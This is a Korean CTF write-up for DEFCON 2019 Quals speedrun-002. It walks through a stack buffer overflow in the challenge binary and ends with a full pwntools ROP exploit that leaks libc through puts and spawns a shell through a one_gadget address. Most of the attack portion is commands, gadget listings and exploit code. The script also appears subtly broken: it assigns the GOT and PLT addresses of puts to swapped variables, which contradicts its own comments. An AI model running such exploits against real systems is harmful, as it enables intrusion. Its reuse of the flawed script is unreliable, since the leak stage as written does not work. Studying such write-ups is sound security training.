[DEFCON 2019 Quals] speedrun-002

2019-06-18

defcon 예선에 있던 speedrun 문제 중에 2번째 문제에 대한 writeup을 쓰려고 한다.

얼마만에 보는 pwnable인지… 요즘 계속 web만하다가, defcon ctf 문제 풀이를 위해 간만에 gdb를 쓴듯…ㅠ
babyheap문제를 풀려고했으나… 공부안한지 너무 오래된것같다… ㅠ ROP문제도 전전긍긍…

바이너리의 보호기법은 다음과 같다.

ubuntu@ubuntu:~/study/ctf/speed02$ checksec speedrun-002 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/ubuntu/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/ubuntu/study/ctf/speed02/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

프로그램을 실행시키면 다음과 같이 값을 입력받고 종료한다. 일단 여기서 segmentation fault도 나지 않는다.

ubuntu@ubuntu:~/study/ctf/speed02$ ./speedrun-002 
We meet again on these pwning streets.
What say you now?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
What a ho-hum thing to say.
Fare thee well.

ida로 디컴파일하여 보면, sub_40074C() 함수를 볼 수 있다.
이 함수에서 문자열이 Everything intelligent is so boring.와 같은지 확인한다.

int sub_40074C()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-590h]
  char v2; // [rsp+190h] [rbp-400h]

  puts("What say you now?");
  read(0, &buf, 0x12CuLL);
  if ( !strncmp(&buf, "Everything intelligent is so boring.", 0x24uLL) )
    result = sub_400705(&v2, "Everything intelligent is so boring.");
  else
    result = puts("What a ho-hum thing to say.");
  return result;
}

그래서 Everything intelligent is so boring. 문자열을 입력하면 그 뒤에 한번 더 값을 입력받는다.

ubuntu@ubuntu:~/study/ctf/speed02$ ./speedrun-002 
We meet again on these pwning streets.
What say you now?
Everything intelligent is so boring.
What an interesting thing to say.
Tell me more.
aaaaa
Fascinating.
Fare thee well.

ida로 보았을때, 그러면 sub_400705함수를 호출하게 된다.
이 함수에서 0x7da 만큼의 입력을 받으면서 bof 취약점이 발생한다.

ssize_t __fastcall sub_400705(void *a1)
{
  puts("What an interesting thing to say.\nTell me more.");
  read(0, a1, 0x7DAuLL);
  return write(1, "Fascinating.\n", 0xDuLL);
}

우선, puts 함수가 존재하므로 puts의 주소를 확인한다.
puts의 plt는 0x4005b0이고, got는 0x601028이다.

ubuntu@ubuntu:~/study/ctf/speed02$ objdump -D speedrun-002 | grep puts
00000000004005b0 <puts@plt>:
  4006fd:	e8 ae fe ff ff       	callq  4005b0 <puts@plt>
  400718:	e8 93 fe ff ff       	callq  4005b0 <puts@plt>
  40075e:	e8 4d fe ff ff       	callq  4005b0 <puts@plt>
  4007b3:	e8 f8 fd ff ff       	callq  4005b0 <puts@plt>
  4007c6:	e8 e5 fd ff ff       	callq  4005b0 <puts@plt>
ubuntu@ubuntu:~/study/ctf/speed02$ objdump -R speedrun-002 | grep puts
0000000000601028 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
root@ubuntu:/home/ubuntu/study/ctf/speed02# objdump -R speedrun-002 | grep read
0000000000601040 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

필요한 가젯 찾기

root@ubuntu:/home/ubuntu/study/ctf/speed02# ROPgadget --binary speedrun-002 | grep ": pop rdx ; ret"
0x00000000004006ec : pop rdx ; ret
root@ubuntu:/home/ubuntu/study/ctf/speed02# ROPgadget --binary speedrun-002 | grep ": pop rdi ; ret"
0x00000000004008a3 : pop rdi ; ret
root@ubuntu:/home/ubuntu/study/ctf/speed02# ROPgadget --binary speedrun-002 | grep ": pop rsi "
0x00000000004008a1 : pop rsi ; pop r15 ; ret
ubuntu@ubuntu:~/ctf/2019/defcon/speedrun$ one_gadget ./libc6_2.27-3ubuntu1_amd64.so 
0x4f2c5	execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322	execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

따라서 다음과 같은 exploit 코드를 사용할 수 있다.

from pwn import *

binary = ELF('./speedrun-002')
libc = ELF('libc6_2.27-3ubuntu1_amd64.so')
p = process('./speedrun-002')

puts_plt = binary.got['puts'] #0x4005b0 #bin.got('puts')
puts_got = binary.plt['puts'] #0x601028 #bin.plt('puts')
read_got = 0x601040

pop_rdi = 0x4008a3 #binary.search(asm('pop rdi; ret')).next() #0x4008a3
#pop_rsi_r15 = 0x4008a1
#pop_rdx = 0x4006ec
main = 0x400600 #bin.symbols['main']

print p.recvuntil('now?\n')
p.sendline('Everything intelligent is so boring.\n')
print p.recvuntil('Tell me more.\n')

payload = "A"* 1032 
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.sendline(payload)

p.recvuntil('Fascinating.\n')
leak = u64(p.recvline()[:6]+"\x00"*2)
log.success("libc leak : " + hex(leak))

puts_libc = libc.symbols['puts']
lba = leak - puts_libc
log.success("libc base addr : " + hex(lba))

system_libc = libc.symbols['system']
binsh = libc.search("/bin/sh").next()

payload = "a"*1032
payload += p64(lba + 0x4f322) # one_gadget

print p.recvuntil('now?\n')
p.sendline('Everything intelligent is so boring.\n')
print p.recvuntil('Tell me more.\n')
p.sendline(payload)

p.interactive()